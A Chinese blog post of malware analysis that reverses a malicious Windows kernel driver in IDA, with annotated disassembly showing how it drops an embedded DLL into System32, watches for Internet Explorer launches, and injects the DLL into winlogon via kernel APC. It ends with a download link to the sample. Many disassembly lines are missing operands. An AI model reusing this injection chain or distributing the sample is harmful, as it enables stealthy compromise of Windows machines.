分析恶意驱动(进程启动apc注入dll)

一、前言 

  用IDA也有好些时间了,以前就只会用F5功能玩无壳无保护的裸驱动,感觉太坑了,这两天就开始看网上大牛的逆向。

  今天记录一下sudami曾经逆向过的fuck.sys。第一遍自己走的时候漏掉了好多东西,然后看他的新驱动,一步步比较,最后把驱动文件分析的比较明朗了。

二、分析 

  1.去除花指令

   首先这个文件有的别多的花指令,jz,jnz 、jb,jnb、jo,jno,js、jns。

   我们通过idc脚本去除花指令,快捷键是shift+f2,这里给出jb、jnb的例子

#include <idc.idc>

static main()
{
auto i,j,from,size;
from=0x00010000; //起始地址,你指定一下
size=0x4000;//扫描数据块大小 for ( i=; i < size;i++ ) { //查找 0F 82 07 ?? ?? ??,替换90
if ((Byte(from)==0x0f)&&(Byte(from+)==0x82)&&(Byte(from+)==0x07))
{
for(j=;j<;j++)
{
PatchByte(from,0x90);
from++;
}
continue;
}
//查找 0F 83 01 ?? ?? ??,替换90
if ((Byte(from)==0x0f)&&(Byte(from+)==0x83)&&(Byte(from+)==0x01))
{
for(j=;j<;j++)
{
PatchByte(from,0x90);
from++;
}
continue;
}
from++;
}
Message("\n" + "OK\n");
}

  2.行为分析

  这是DriverEntry里面的代码,首先传递[ebp+0Ch] 给函数,了解栈帧的话,就知道ebp+0c是第二个参数也就是DriverEntry的第二个参数RegistryPath

.text:0001035A                 push    eax             ;
.text:0001035B push dword ptr [ebp+0Ch] ; RegistryPath
.text:0001035E call loc_10584 ; 查询注册表中本驱动文件的路径
.text: push offset dword_12ACC ; 申请的内存地址,保存读取的文件信息
.text: push offset unk_122CC ; ImagePath
.text:0001036D call loc_1077A ; 打开本身文件,读取文件到内存中

  我们看看函数loc_10584,该函数传入了RegistryPath,然后ZwOpenKey、ZwQueryValueKey查询键值,如果有则ZwQueryValueKey将地址拷贝出来。

.text: loc_10584:                              ; CODE XREF: .text:0001035Ep
.text: push ebp
.text: mov ebp, esp
.text: sub esp, 38h
...
.text:000105DA and dword ptr [ebp-],
.text:000105DE push 206B6444h ; 内存的标志
.text:000105E3 push dword ptr [ebp-]
.text:000105E6 push ; 非分页内存
.text:000105E8 call ds:ExAllocatePoolWithTag
.text:000105EE mov [ebp-], eax
...
.text:0001061B push dword ptr [ebp+0Ch]
.text:0001061E lea eax, [ebp-14h] ; 下面ZwQueryValueKey执行的键值
.text: push eax
.text: call ds:RtlInitUnicodeString ; ImagePath
.text: mov dword ptr [ebp-34h], 18h
.text:0001062F and dword ptr [ebp-30h],
.text: mov dword ptr [ebp-28h], 40h
.text:0001063A mov eax, [ebp+]
.text:0001063D mov [ebp-2Ch], eax
.text: and dword ptr [ebp-24h],
.text: and dword ptr [ebp-20h],
...
.text: lea eax, [ebp-34h]
.text: push eax
.text: push 0F003Fh ; DesiredAccess
.text:0001065E lea eax, [ebp-0Ch]
.text: push eax ; KeyHandle
.text: call ds:ZwOpenKey ; 打开本驱动键值
.text: mov [ebp-1Ch], eax
...
.text:0001069C lea eax, [ebp-18h]
.text:0001069F push eax ; ResultLength
.text:000106A0 push dword ptr [ebp-] ; Length
.text:000106A3 push dword ptr [ebp-] ; KeyValueInformation
.text:000106A6 push ; KeyValueInformationClass
.text:000106A8 lea eax, [ebp-14h]
.text:000106AB push eax ; ValueName ImagePath
.text:000106AC push dword ptr [ebp-0Ch] ; KeyHandle
.text:000106AF call ds:ZwQueryValueKey
.text:000106B5 mov [ebp-1Ch], eax
...
.text:000106C5 mov eax, [ebp-1Ch]
.text:000106C8 mov [ebp-38h], eax
.text:000106CB cmp dword ptr [ebp-38h], 80000005h
.text:000106D2 jz short loc_106DC ; 申请内存,在注册表中查询本驱动镜像的路径
.text:000106D4 cmp dword ptr [ebp-38h],
.text:000106D8 jz short loc_10737 ; 拷贝驱动文件路径
...
.text:000106F3 push 206B6444h ; Tag
.text:000106F8 push dword ptr [ebp-] ; NumberOfBytes
.text:000106FB push ; PoolType PagedPool
.text:000106FD call ds:ExAllocatePoolWithTag
.text: mov [ebp-], eax
.text: lea eax, [ebp-18h]
.text: push eax ; ResultLength
.text:0001070A push dword ptr [ebp-] ; Length
.text:0001070D push dword ptr [ebp-] ; KeyValueInformation
.text: push ; KeyValueInformationClass
.text: lea eax, [ebp-14h]
.text: push eax ; ValueName ImagePath
.text: push dword ptr [ebp-0Ch] ; KeyHandle
.text: call ds:ZwQueryValueKey
.text:0001071F mov [ebp-1Ch], eax
.text: cmp dword ptr [ebp-1Ch],
.text: jge short loc_10737 ; 拷贝驱动文件路径
.text: jmp short loc_1075B

  就获得了sys文件的路径。然后在看loc_1077A函数,ZwOpenFile,打开文件,然后ZwQueryInformationFile查询文件信息,然后申请内存,最后读到内存中。

.text:000107B3                 call    ds:RtlInitUnicodeString
.text:000107B9 mov dword ptr [ebp-1Ch], 18h
.text:000107C0 and dword ptr [ebp-18h],
.text:000107C4 mov dword ptr [ebp-10h], 40h
.text:000107CB lea eax, [ebp-4Ch]
.text:000107CE mov [ebp-14h], eax
.text:000107D1 and dword ptr [ebp-0Ch],
.text:000107D5 and dword ptr [ebp-],
.text:000107D9 push 860h ; OpenOptions
.text:000107DE push ; ShareAccess
.text:000107E0 lea eax, [ebp-3Ch]
.text:000107E3 push eax ; IoStatusBlock
.text:000107E4 lea eax, [ebp-1Ch]
.text:000107E7 push eax ; ObjectAttributes
.text:000107E8 push 100089h ; DesiredAccess
.text:000107ED lea eax, [ebp-40h]
.text:000107F0 push eax ; FileHandle
.text:000107F1 call ds:ZwOpenFile ; 读取自身文件
.text:000107F7 mov [ebp-44h], eax
...
...
.text: ; .text:00010814j ...
.text: push ; FileInformationClass
.text: push 18h ; Length
.text: lea eax, [ebp-34h]
.text: push eax ; FileInformation
.text: lea eax, [ebp-3Ch]
.text:0001082C push eax ; IoStatusBlock
.text:0001082D push dword ptr [ebp-40h] ; FileHandle
.text: call ds:ZwQueryInformationFile ; 查询信息
.text: mov [ebp-44h], eax
...
...
.text: push 206B6444h ; Tag
.text: push dword ptr [ebp-] ; NumberOfBytes
.text:0001089A push ; PoolType
.text:0001089C call ds:ExAllocatePoolWithTag
.text:000108A2 mov ecx, [ebp+0Ch]
.text:000108A5 mov [ecx], eax
...
...
.text:000108C1 push ; Key
.text:000108C3 push ; Byteoffset
.text:000108C5 push dword ptr [ebp-] ; Length
.text:000108C8 mov eax, [ebp+0Ch]
.text:000108CB push dword ptr [eax] ; Buffer
.text:000108CD lea eax, [ebp-3Ch]
.text:000108D0 push eax ; IoStatusBlock
.text:000108D1 push ; ApcContext
.text:000108D3 push ; ApcRoutine
.text:000108D5 push ; Event
.text:000108D7 push dword ptr [ebp-40h] ; FileHandle
.text:000108DA call ds:ZwReadFile ; 将文件读入206B6444h标志的内存中
.text:000108E0 mov [ebp-44h], eax
.text:000108E3 cmp dword ptr [ebp-44h],
.text:000108E7 jge short loc_10906 ; 成功跳转
.text:000108E9 mov eax, [ebp+0Ch]
.text:000108EC push dword ptr [eax]
.text:000108EE call ds:ExFreePool
.text:000108F4 push dword ptr [ebp-40h]
.text:000108F7 call ds:ZwClose

  这样就完成了sys拷贝到内存中,在接着看

.text:0001037C                 cmp     dword_12ACC,   ; 内存地址是否正确
.text: jz short loc_103A7 ; 获得系统版本信息,内存映射文件,创建进程回调,创建线程
.text: push offset unk_12AD8 ; 文件大小
.text:0001038A push dword_12ACC ; 本身文件地址
.text: call loc_10936 ; 释放文件中DLL,并且拷贝到一个内存中
.text: mov dword_12AD4, eax

  我们先看loc_10936,这个函数就是将sys最后一个节的内容(也就是加密的DLL)拷贝到内存中来。

.text:                 mov     eax, [ebp+]    ; 注意这里是传进来的之前获得的本身文件地址
.text: mov [ebp-14h], eax
.text:0001097C mov eax, [ebp-14h]
.text:0001097F mov ecx, [ebp-14h] ; 熟悉PE的应该知道3C是DosHeader中e_lfanew的偏移
.text: add ecx, [eax+3Ch]
.text: mov [ebp-18h], ecx ;获得NtHeader
...
...
.text:0001098D mov eax, [ebp-18h]
.text: add eax, 0F8h ; 0xF8 是248 就是NtHeader的大小
.text: mov [ebp-0Ch], eax ; 获得节表地址
...
.text:0001099D mov eax, [ebp-18h]
.text:000109A0 movzx eax, word ptr [eax+] ; NumberOfSection
.text:000109A4 dec eax ; NumberOfSection - 1
.text:000109A5 imul eax, 28h ; 节数量x节表大小
.text:000109A8 mov ecx, [ebp-18h]
.text:000109AB movzx ecx, word ptr [ecx+]
.text:000109AF dec ecx
.text:000109B0 imul ecx, 28h ; 节数量x节大小
.text:000109B3 mov edx, [ebp-0Ch] ; edx 是节表基地址
.text:000109B6 mov eax, [edx+eax+14h] ; 最后一个节的VirtualAddress
.text:000109BA mov edx, [ebp-0Ch]
.text:000109BD add eax, [edx+ecx+10h] ; 最后一个节得到SizeOfRawData + VirtualAddress
.text:000109C1 mov [ebp-], eax ; 最后一个节末尾的相对偏移
.text:000109C4 mov eax, [ebp+] ; 文件基地址
.text:000109C7 add eax, [ebp-] ; 定位到最后一个节的末尾
.text:000109CA mov ecx, [ebp+0Ch] ; 传入的unk_12AD8 文件大小
.text:000109CD mov eax, [eax]
.text:000109CF mov [ecx], eax
.text:000109D1 push 206B6444h ; Tag
.text:000109D6 mov eax, [ebp+0Ch] ; 传进来的unk_12AD8 申请内存
.text:000109D9 push dword ptr [eax] ; NumberOfBytes
.text:000109DB push ; PoolType 非分页
.text:000109DD call ds:ExAllocatePoolWithTag
.text:000109E3 mov [ebp-], eax
.text:000109E6 cmp dword ptr [ebp-],
.text:000109EA jnz short loc_109F0 ; 成功
...
...

  这里没有看到拷贝,最后是跳到这三句指令,不是很清楚

.text:000109FD                 mov     eax, [ebp+0Ch]
.text:00010A00 mov ecx, [eax]
.text:00010A02 mov eax, [ebp-]

  在看下面的函数loc_103A7,所有坏坏的事情都在这里面干的。

.text:000103A7 loc_103A7:                              ; CODE XREF: .text:00010383j
.text:000103A7 mov eax, [ebp+] ; DriverObject
.text:000103AA mov StartContext, eax
.text:000103AF call loc_10C9C ; 获得版本信息
.text:000103AF ; 获得EPROCESS中名称的偏移

  首先获得版本信息,还有Eprocess中进程名称的偏移大小。

.text:00010D0C                 push    offset aRtlgetversion ; "RtlGetVersion"
.text:00010D11 lea eax, [ebp-14h]
.text:00010D14 push eax
.text:00010D15 call ds:RtlInitUnicodeString
...
.text:00010D28 lea eax, [ebp-14h]
.text:00010D2B push eax
.text:00010D2C call ds:MmGetSystemRoutineAddress
.text:00010D32 mov dword_122A8, eax ; RtlGetVersion
.text:00010D37 cmp dword_122A8,
.text:00010D3E jz short loc_10D52 ; 没有得到RtlGetVersion
.text:00010D40 lea eax, [ebp-130h]
.text:00010D46 push eax
.text:00010D47 call dword_122A8
....
text:00010D52 loc_10D52: ; CODE XREF: .text:00010D3Ej
.text:00010D52 push
.text:00010D54 lea eax, [ebp-]
.text:00010D57 push eax
.text:00010D58 lea eax, [ebp-]
.text:00010D5B push eax
.text:00010D5C lea eax, [ebp-0Ch]
.text:00010D5F push eax
.text:00010D60 call PsGetVersion
...
.text:00010EFF call ds:IoGetCurrentProcess ; 获得当前进程
.text:00010F05 mov [ebp-], eax
.text:00010F0D and dword ptr [ebp-],
.text:00010F11 jmp short loc_10F1A ; 用过进程名称找到system字符比较
.text:00010F11 ; 获得EPROCESS中字符串的偏移
.text:00010F13 ; ---------------------------------------------------------------------------
.text:00010F13
.text:00010F13 loc_10F13: ; CODE XREF: .text:loc_10F5Ej
.text:00010F13 mov eax, [ebp-]
.text:00010F16 inc eax
.text:00010F17 mov [ebp-], eax
.text:00010F1A
.text:00010F1A loc_10F1A: ; CODE XREF: .text:00010F11j
.text:00010F1A cmp dword ptr [ebp-], 3000h
.text:00010F21 jge short loc_10F60
.text:00010F23 mov edi, offset aSystem ; "System"
.text:00010F28 or ecx, 0FFFFFFFFh
.text:00010F2B xor eax, eax
.text:00010F2D repne scasb
.text:00010F2F not ecx
.text:00010F31 dec ecx
.text:00010F32 push ecx
.text:00010F33 mov eax, [ebp-]
.text:00010F36 add eax, [ebp-]
.text:00010F39 push eax
.text:00010F3A push offset aSystem_0 ; "System"
.text:00010F3F call ds:strncmp ; 获得名称的偏移
.text:00010F45 add esp, 0Ch
.text:00010F48 test eax, eax
.text:00010F4A jnz short loc_10F5E
.text:00010F4C mov eax, [ebp-]
.text:00010F4F jmp short loc_10F69

   然后就是映射Kernel32.dll获得函数地址

 .text:000103C2                 call    loc_112E6       ; 内存映射文件kernel32.dll,遍历起导出表获得地址
.text:00010FC7                 push    dword ptr [ebp+] ; Kernel32.dll
.text:00010FCA lea eax, [ebp-28h]
.text:00010FCD push eax
.text:00010FCE call ds:RtlInitUnicodeString
...
.text:0001100C add al, ch
.text:0001100E push ; EaLength
.text: push ; EaBuffer
.text: push 20h ; CreateOptions
.text: push ; CreateDisposition
.text: push ; ShareAccess
.text: push 80h ; FILE_ATTRIBUTE_NORMAL dwFlagsAndAttributesLong
.text:0001101D push ; AllocationSize
.text:0001101F lea eax, [ebp-38h]
.text: push eax ; IoStatusBlock
.text: lea eax, [ebp-20h]
.text: push eax ; ObjectAttributes
.text: push 100020h ; dwDesiredAccess SYNCHRONIZE
.text:0001102C lea eax, [ebp-40h]
.text:0001102F push eax ; FileHandle
.text: call ds:ZwCreateFile
...
.text:0001104C mov dword ptr [ebp-20h], 18h
.text: and dword ptr [ebp-1Ch],
.text: mov dword ptr [ebp-14h], 40h
.text:0001105E and dword ptr [ebp-18h],
.text: and dword ptr [ebp-10h],
.text: and dword ptr [ebp-0Ch],
.text:0001106A push dword ptr [ebp-40h] ; FileHandle
.text:0001106D push 1000000h ; AllocationAttributes
.text: push 10h ; SectionPageProtection
.text: push ; MaximumSize
.text: lea eax, [ebp-20h]
.text: push eax ; ObjectAttributes
.text:0001107A push 0F001Fh ; DesiredAccess
.text:0001107F lea eax, [ebp-]
.text: push eax ; SectionHandle
.text: call ds:ZwCreateSection
...
.text: push ; Win32Protect
.text: push 100000h ; AllocationType
.text:0001109E push ; InheritDisposition
.text:000110A0 lea eax, [ebp-2Ch]
.text:000110A3 push eax ; viewSize
.text:000110A4 push ; SectionOffset
.text:000110A6 push 3E8h ; CommitSize
.text:000110AB push ; ZeroBits
.text:000110AD lea eax, [ebp-]
.text:000110B0 push eax ; BaseAddress
.text:000110B1 push 0FFFFFFFFh ; ProcessHandle
.text:000110B3 push dword ptr [ebp-] ; SectionHandle
.text:000110B6 call ds:ZwMapViewOfSection
...
.text: mov eax, [ebp+]
.text: mov [ebp-18h], eax ; 基地址
.text: nop
.text: nop
.text: nop
.text:0001117A nop
.text:0001117B nop
.text:0001117C mov eax, [ebp-18h]
.text:0001117F movzx eax, word ptr [eax]
.text: cmp eax, 5A4Dh ; 比较DosHeader
...
.text:0001119D mov eax, [ebp-18h]
.text:000111A0 mov ecx, [ebp-18h]
.text:000111A3 add ecx, [eax+3Ch] ; e_flanew
.text:000111A6 mov [ebp-20h], ecx ; NtHeader
...
.text:000111B9 cmp dword ptr [eax], 4550h ; 比较NtHeader标志PE00
.text:000111BF jz short loc_111CD ; NtHeader...
...
.text:000111CD mov eax, [ebp-20h] ; NtHeader
.text:000111D0 mov ecx, [ebp-18h] ; 基地址
.text:000111D3 add ecx, [eax+78h] ; 数据目录表地址
.text:000111D6 mov [ebp-1Ch], ecx
...
.text:000111F3 mov eax, [ebp-1Ch] ; 数据目录表
.text:000111F6 mov ecx, [ebp-14h]
.text:000111F9 cmp ecx, [eax+18h]
.text:000111FC jnb loc_11298
.text: mov eax, [ebp-1Ch]
.text: mov eax, [eax+20h]
.text: add eax, [ebp+]
.text:0001120B mov [ebp-10h], eax
.text:0001120E mov eax, [ebp-14h]
.text: mov ecx, [ebp-10h]
.text: mov eax, [ecx+eax*]
.text: add eax, [ebp+]
.text:0001121A mov [ebp-10h], eax
.text:0001121D push dword ptr [ebp+0Ch]
.text: push dword ptr [ebp-10h]
.text: call ds:_stricmp ; 遍历导出表
.text: pop ecx
.text:0001122A pop ecx
.text:0001122B test eax, eax
.text:0001122D jnz short loc_11293
.text:0001122F mov eax, [ebp-1Ch]
.text: mov eax, [eax+24h]
.text: add eax, [ebp+]
.text: mov [ebp-], eax
...
.text: mov eax, [ebp-14h]
.text: mov ecx, [ebp-]
.text: mov ax, [ecx+eax*]
.text:0001124A mov [ebp-0Ch], ax

  这个函数首先ZwCreateFile打开,然后ZwCreateSection,然后在ZwMapViewOfSection函数映射过来,最后比较遍历PE导出表,获得函数地址,后面实在给绕晕了, 然后就没看导出表的部分了。

  再返回loc_301A7函数,接下来就做一些事情了。

  设置一个事件,进程回调,还有开启一个线程。

.text:                 call    SetNotifyEvent  ; 设置事件IoCreateNotificationEvent
.text: push
.text: push offset loc_11FDD ; NotifyRoutine 如果是IEXPLORE.EXE 则触发事件
.text:0001050C call PsSetCreateProcessNotifyRoutine
...
.text: call loc_10A9E ; 创建DLL文件
.text:
.text: loc_10538: ; CODE XREF: .text:00010525j
.text: push StartContext ; StartContext
.text:0001053E push offset SystemThread ; StartRoutine
.text: push ; ClientId
.text: push ; ProcessHandle
.text: push ; ObjectAttributes
.text: push ; DesiredAccess
.text:0001054B lea eax, [ebp-260h]
.text: push eax ; ThreadHandle
.text: call ds:PsCreateSystemThread

  进程回调函数的代码比较简单,这里比较IEXPLORE进程启动则设置事件通知线程要干事了

.text:                 push    eax             ; EPROCESS
.text: push dword ptr [ebp+0Ch] ; ProcessId
.text: call PsLookupProcessByProcessId...
.text: push offset aIexplore_exe ; "IEXPLORE.EXE"
.text:0001201C push dword ptr [ebp-0Ch]
.text:0001201F call sub_10F6E
.text: push eax
.text: call ds:_stricmp
.text:0001202B pop ecx
.text:0001202C pop ecx
.text:0001202D test eax, eax
.text:0001202F jnz short loc_12063 ; Fail
.text: cmp dword_12ADC,
.text: jz short loc_12063
.text:0001203A push
.text:0001203C push
.text:0001203E push dword_12ADC
.text: call ds:KeSetEvent ; 触发事件
.text:0001204A push dword_12ADC
.text: call ds:KeClearEvent

  在loc_301A7中还有一个函数将之前释放的DLL写入系统目录之中。

.text:00010B1F                 push    offset loc_10A74 ; SystemRoot\\System32
.text:00010B24 lea eax, [ebp-800h]
.text:00010B2A push eax ; winlib.dll
.text:00010B2B call ds:wcscpy
...
.text:00010B3E add al, ch
.text:00010B40 lea eax, [ebp-8F4h]
.text:00010B46 push eax
.text:00010B47 lea eax, [ebp-800h]
.text:00010B4D push eax
.text:00010B4E call ds:wcscat
....
text:00010B5B lea eax, [ebp-800h]
.text:00010B61 push eax
.text:00010B62 lea eax, [ebp-8FCh]
.text:00010B68 push eax
.text:00010B69 call ds:RtlInitUnicodeString
.text:00010B6F mov dword ptr [ebp-818h], 18h
.text:00010B79 and dword ptr [ebp-814h],
.text:00010B80 mov dword ptr [ebp-80Ch], 40h
.text:00010B8A lea eax, [ebp-8FCh]
.text:00010B90 mov [ebp-810h], eax
.text:00010B96 and dword ptr [ebp-808h],
.text:00010B9D and dword ptr [ebp-804h],
.text:00010BA4 push ; EaLength
.text:00010BA6 push ; EaBuffer
.text:00010BA8 push 860h ; CreateOptions
.text:00010BAD push ; CreateDisposition
.text:00010BAF push ; ShareAccess
.text:00010BB1 push 80h ; FileAttributes
.text:00010BB6 push ; AllocationSize
.text:00010BB8 lea eax, [ebp-824h]
.text:00010BBE push eax ; IoStatusBlock
.text:00010BBF lea eax, [ebp-818h]
.text:00010BC5 push eax ; ObjectAttributes
.text:00010BC6 push 100112h ; DesiredAccess
.text:00010BCB lea eax, [ebp-828h]
.text:00010BD1 push eax ; FileHandle
.text:00010BD2 call ds:ZwCreateFile
...
.text:00010BEC push ; Key
.text:00010BEE push ; ByteOffset
.text:00010BF0 push dword ptr [ebp+0Ch] ; Length
.text:00010BF3 push dword ptr [ebp+] ; Buffer
.text:00010BF6 lea eax, [ebp-824h]
.text:00010BFC push eax ; IoStatusBlock
.text:00010BFD push ; ApcContext
.text:00010BFF push ; ApcRoutine
.text:00010C01 push ; Event
.text:00010C03 push dword ptr [ebp-828h] ; Handle
.text:00010C09 call ds:ZwWriteFile
...
 .text:00010C22 push dword ptr [ebp-828h]
 .text:00010C28 call ds:ZwClose

  下面就是线程函数的实现

.text:00011C9D                 push    offset aWinlogon_exe ; "WINLOGON.EXE"
.text:00011CA2 call loc_11610 ; 比较当前进程是否为WINLOGON.EXE
...
.text:00011CA7 mov [ebp-], eax
.text:00011CAA cmp dword ptr [ebp-],
.text:00011CAE jnz short loc_11CB2 ; 是winlogon进程,则遍历线程链,APC插入线程
.text:00011CB0 jmp short loc_11CF2 ; 结束线程

  下面是打开进程,遍历线程,通过APC注入DLL

.text:00011D8E                 push    eax             ; ClientId
.text:00011D8F lea eax, [ebp-2Ch]
.text:00011D92 push eax ; ObjectAttributes
.text:00011D93 push 1F0FFFh ; DesiredAccess
.text:00011D98 lea eax, [ebp-30h]
.text:00011D9B push eax ; ProcessHandle
.text:00011D9C call ds:ZwOpenProcess
....
text:00011DB2 push ; Protect
.text:00011DB4 push 1000h ; AllocationType
.text:00011DB9 lea eax, [ebp-14h]
.text:00011DBC push eax ; RegionSize
.text:00011DBD push ; ZeroBits
.text:00011DBF lea eax, [ebp-0Ch]
.text:00011DC2 push eax ; BaseAddress
.text:00011DC3 push dword ptr [ebp-30h] ; ProcessHandle
.text:00011DC6 call ds:ZwAllocateVirtualMemory
...
.text:00011DF7 push 206B6444h
.text:00011DFC push 18h
.text:00011DFE push
.text:00011E00 call ds:ExAllocatePoolWithTag
.text:00011E06 mov [ebp-34h], eax
...
.text:000118A6 push ; Irp
.text:000118A8 push ; ChargeQuota
.text:000118AA push ; SecondaryBuffer
.text:000118AC push dword ptr [ebp-2Ch] ; Length
.text:000118AF push offset byte_11B24 ; VirtualAddress
.text:000118B4 call ds:IoAllocateMdl
...
.text:000118DE push ; Operation
.text:000118E0 push ; AccessMode
.text:000118E2 push dword ptr [ebp-28h] ; MemoryDescriptorList
.text:000118E5 call ds:MmProbeAndLockPages
...
.text:0001193C push dword ptr [ebp-24h] ; ApcState
.text:0001193F push dword ptr [ebp+] ; KProcess
.text: call ds:KeStackAttachProcess ;挂进对方线程
...
.text: push 10h ; Priority
.text: push ; BugCheckOnFailure
.text: push ; RequestedAddress
.text:0001195B push ; CacheType
.text:0001195D push ; AccessMode
.text:0001195F push dword ptr [ebp-28h] ; MemoryDescriptorList
.text: call ds:MmMapLockedPagesSpecifyCache ;锁定物理内存页
...
.text:000119E1 push dword ptr [ebp-24h] ; ApcState
.text:000119E4 call ds:KeUnstackDetachProcess
.text:000119EA push ; FALSE
.text:000119EC push ; NotificationEvent
.text:000119EE push dword ptr [ebp-20h] ; eventPtr
.text:000119F1 call ds:KeInitializeEvent
...
.text:00011A04 push ; NormalContext
.text:00011A06 push ; ProcessorMode
.text:00011A08 push dword ptr [ebp-1Ch] ; NormalRoutine
.text:00011A0B push ; RundownRoutine
.text:00011A0D push offset loc_11AE0 ; KernelRoutine
.text:00011A12 push ; Environment
.text:00011A14 push dword ptr [ebp+0Ch] ; Thread
.text:00011A17 push dword ptr [ebp-30h] ; Apc
.text:00011A1A call ds:KeInitializeApc ;初始化APC
.text:00011A20 push ; Increment
.text:00011A22 push dword ptr [ebp+10h] ; SystemArgument2
.text:00011A25 push dword ptr [ebp-20h] ; SystemArgument1
.text:00011A28 push dword ptr [ebp-30h] ; Apc
.text:00011A2B call ds:KeInsertQueueApc ;插入APC链中
.text:00011A31 movzx eax, al
.text:00011A34 test eax, eax
.text:00011A36 jnz short loc_11A8B
.text:00011A38 push dword ptr [ebp-28h] ; MemoryDescriptorList
.text:00011A3B call ds:MmUnlockPages
.text:00011A41 push dword ptr [ebp-28h]
.text:00011A44 call ds:IoFreeMdl
.text:00011A4A push dword ptr [ebp-30h]
.text:00011A4D call ds:ExFreePool

  然后就是结束线程了。

  源文件和我分析的idb文件,有兴趣的可以分析一下,逆向是一件很开心的事情,也可以在网上找一下sudami的分析文档

   http://pan.baidu.com/s/1sklRKyL  密码 123

上一篇:常见注入手法第二讲,APC注入


下一篇:BZOJ3105: [cqoi2013]新Nim游戏 博弈论+线性基